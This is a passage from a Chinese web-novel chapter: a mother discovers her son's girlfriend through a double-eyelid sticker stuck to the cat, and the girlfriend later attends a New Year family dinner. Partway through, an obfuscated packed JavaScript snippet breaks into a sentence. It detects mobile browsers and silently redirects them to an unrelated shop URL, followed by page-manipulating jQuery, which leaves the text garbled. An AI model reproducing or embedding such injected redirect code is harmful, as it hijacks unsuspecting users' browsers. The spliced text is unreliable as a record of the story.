不揉不要紧,这一揉,应母在它毛上摸到了个有点硬的薄片,还有点黏黏的。 应母放下罐子,用两只手在刚刚抚摸的地方翻找,终于找到了那个异物——一片调整眼型的双眼皮贴,上面还残存着……肉粉色的眼影? 应母拿着那一片小小的贴片,怔住了。 他们一家三口没人用这玩意儿吧? 心下了然:“小玉,你谈恋爱了?” 应之珏虎躯一震——倒不是觉得这有什么见不得人的,只是单纯被应母的第六感给吓到了。 他也没打算瞒着:“嗯。不过她还在上学,所以先不带回家里来见你们了。” 应父脑子嗡了一下,“什么?上学?应之珏你长本事了,你怎么还敢拐骗人家不谙世事的小姑娘!” 应之珏连忙解释:“大学,大学,又不是未成年……你们儿子还是有数的好吧,能是乱来的那种吗!” “……而且其实你们也见过,虽然可能没看清正脸吧。”应之珏把和姜满相识的来龙去脉简略地说了一遍。 “哎呀,真是心善的小姑娘啊,被你害进医院了还能瞎了眼看上你。”应母啧啧称奇。 应之珏不满,“我俩就臭味相投了还不行?” 应母见应之王吃得满嘴油光,又去给它开了个罐子。 “妈,你这么喂它把它嘴养刁了,你让我回去怎么办啊!” 应母自动屏蔽了应之珏的阻拦,“你弟弟给你牵线搭桥了,你不得好好奖励奖励它呢。” 应之珏拦不住,索性摆烂了。不过他还是很好奇应母怎么发现的,应父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579553|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不明所以。 应母得意的指了指还黏在应之王身上的双眼皮贴,“亏你还是游戏主播呢,这观察能力,连你妈都不如。” 应之珏没招了,轻轻揭下双眼皮贴,以应之王的白毛做了最佳背景版拍了张照发给姜满:“妹妹,你爆装备了。” 姜满收到这条消息,整个人都十分窘迫。 明明是想画个伪素颜的,其它步骤都没怎么做,没想到最后被这个小小的双眼皮贴给卖了! ……唉,不过也无所谓了,当时他俩贴的都这么近了,脸上什么不都看得清清楚楚了! “……这是超级空投,喜欢不,专门送你的。” “喜欢,喜欢。不过让我妈抢先一步给开出来了。” 姜满惊的手机都拿不稳了。 啊啊啊啊啊啊啊,怎么莫名有一种偷情被发现的尴尬感? “阿姨……说啥了没有……”她知道应之珏父母都是有铁饭碗的体面人,怕应母觉得她小小年纪爱打扮是那种大脑空空的小狐狸精。 “还能说啥,说你眼瞎才看上我。倒是我爸差点把我揍了一顿。” “?” “我说你在上学……他以为你未成年……我差点就被单杀了……”应之珏委委屈屈地控诉道。 姜满悬着的心放了下来。吓死了,还以为应之珏爸妈也会像她爸妈一样,不管三七二十一先树立个不支持的旗帜呢。 …… 大年初一是姜母那边约定好了聚餐的日子,也就是姜满一家和她姨妈一家还有舅舅一家。 不过长辈们最喜欢的苏越今天却缺席了,说是要继续备战,不想打断自己的节奏。 姜母在电话里还要劝她:“越越,大家都在呢,就这一会儿,不碍事儿。” 这次是姜满给表姐救了场,她制止了姜母一而再再而三的邀请:“姐姐不愿去,你硬叫她干什么。转过年来就是省考了,考不上你能负责吗?” 姜母讪讪一笑,“我就是想让你姐姐放松一下吗,一家人团团圆圆的,缺了人叫怎么回事儿?” “不管怎么回事儿,她能安心学习才是最重要的。你不是还要我向她学习,要坐得住吗?人家真能坐得住了,你反而还不乐意了?” “行行行,说不过你的。那你去了就和你表弟玩吧。”姜母不再勉强苏越,没好气地回复姜满。 又来到了舅舅家,姜满故意观察表弟手上有没有手机。 “哟,作业进度挺快,现在都拿上手机了?”姜满故意逗躲在屋里打吃鸡的表弟。 表弟看见姜满,一下子来了精神,眼睛都亮了,忙里偷闲伸手招呼她坐到床边来。 “怎么了,这么兴奋呢?”姜满凑过去,表弟正好结束了这一局。 他也没唉声叹气,而是点开邮件,跟姜满分享着她上次的所作所为。 “姐,你知道吗,你上次来我家,用我的号举报的那个人,是个主播呢!” “是主播?怪不得这么厉害,像开挂了一样被我举报成功了。不过你怎么知道的?” 姜满没多想,只是觉得很巧,因为身边也有一个同游戏的主播。不过也是,如今搞自由职业的年轻人很多,高端局容易撞上主播也正常。